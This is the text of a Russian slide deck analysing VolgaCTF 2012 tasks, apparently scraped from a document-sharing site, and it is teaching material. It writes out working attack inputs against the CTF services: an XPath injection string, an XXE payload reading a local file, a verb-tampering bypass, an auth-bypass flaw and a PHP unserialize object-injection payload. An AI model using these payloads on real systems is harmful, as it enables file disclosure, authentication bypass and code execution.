Upload
blackfan
View
848
Download
5
Embed Size (px)
Citation preview
Разбор заданий «VolgaCTF»
Сергей Бобров
Август, 2012 г.
Задания
Финал
• Сервис «Карта Сокровищ» [Python/Django]
Отборочные
• Web100 [XSS/Bot]
• Web200 [Authentication Bypass]
• Web500 [Verb Tampering/Backup Files/Deobfuscation/Unserialize
Tricks]
• Stegano200 [WAV-file]
Сервис «Карта Сокровищ»
Сервис «Карта Сокровищ»: Уязвимости
Отображение всех флагов в xml, предоставляющей данные
для визуализации
Сервис «Карта Сокровищ»: Уязвимости
Внедрение операторов XPath
treasure = treasure_xml.xpath('/treasures/treasure
[id = \'%s\' and owner=\'%s\']' %
(id, request.session['user'].name))
Эксплуатация
/treasure/view/?id=<id>' or '1'='1
Username = ' or id= '<id>
Сервис «Карта Сокровищ»: Уязвимости
Регистрация пользователей с одинаковым логином
• При регистрации не проверялось наличие такого пользователя
• При проверке прав использовался только логин пользователя
Эксплуатация
• Смотрим имя последнего пользователя с флагом
• Регистрируемся с данными Login: <login>, Password: 1
• ???
• PROFIT!
Сервис «Карта Сокровищ»: Уязвимости
Внедрение внешних сущностей XML (XXE Attack)
• При добавлении флага на стороне клиента формировалась XML
• На сервере XML-парсеры поддерживали XML eXternal Entity
Эксплуатация
<!DOCTYPE x [
<!ENTITY xxe SYSTEM "file:///pathToService/Treasure.xml">
]>
<treasure><name>x</name>
<treasureData>&xxe;</treasureData>
<x>5</x><y>5</y></treasure>
Отборочные: Задание WEB100
Отборочные: Задание WEB200
/robots.txt
Disallow: /_31337_4dm1np4g3
/_31337_4dm1np4g3
if($password != ‘xxx’) {
header(‘Location: index.php?error’)
}
Отборочные: Задание WEB500
Verb Tampering
.htaccess
<Limit GET>
require valid-user
</Limit>
Файлы бэкапа
Обфускация
Битовыми операциями формируются слова «chr» и цифры 0-9.
Далее формируется строка
a.s.s.e.r.t(c.o.d.e)
Где каждая буква представляет собой c.h.r(0.1.2)
Отборочные: Задание WEB500
Unserialize Tricks // bit.ly/nWyefG
Примерный вид эксплоита:
auth=a:3:{s:5:"login";s:6:"pirate";s:8:"password";s:7:"pirate1";s:4:
"name";O:7:"Textbox":1:{s:12:"\0Textbox\0obj";C:6:"Object":86:{
O:4:"User":2:{s:11:"\0User\0login";O:4:"Flag":0:{}s:14:"\0User\0p
assword";s:8:"getFlags";}}}}
Отборочные: Задание Stegano200
Спасибо за внимание! [email protected]